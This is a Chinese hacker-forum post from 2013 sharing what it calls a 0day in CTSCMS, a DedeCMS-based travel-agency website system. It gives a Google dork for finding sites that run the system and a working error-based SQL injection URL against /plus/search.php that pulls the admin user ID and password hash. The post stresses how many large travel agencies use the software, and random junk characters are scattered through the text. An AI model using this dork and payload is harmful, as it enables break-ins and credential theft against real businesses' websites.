新年多放点0day,小范围共享！9 }! I) V% q$ S& C
中国旅游服务网站管理系统CTSCMS，这个网站系统是我在近期发现的。使用dedecms二次开发的,织梦内核。由于忽视了官方的系统升级导致程序有很多的漏洞。近期爆出的注入漏洞都存在,历史的漏洞不知道是否存在。
) V- I, Y. _# i; D- jGoogle：2002-2011 CTSCMS.COM ，inurl:users/reg.php 旅行社' I1 ~: B. P/ c% o' z6 P+ K
POC:/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a) l. `* o4 G& [" q
6 M/ P) g1 ]; l. o后来我又发现,这套程序都是一个人在做 国内很多旅行社网站在用6 T; \3 f" e9 h6 A8 S
) n& c5 R0 M( | j2 m/ b7 @( m) }( G; \0 O/ p- D' B
) J7 S# l! v3 {) Q w/ [$ X6 |" p4 J
! Z) y8 r, w, }: C: ~8 S5 E0 E
1 |; d1 p! o% n# c. h
很多大型旅行社网站都在用,请在法律允许的范围内测试。 黑客保重....
" L5 i4 v/ D2 Z0 m
" `. a1 i5 a: R |
发表于 2013-2-4 16:11:01
收藏
支持
反对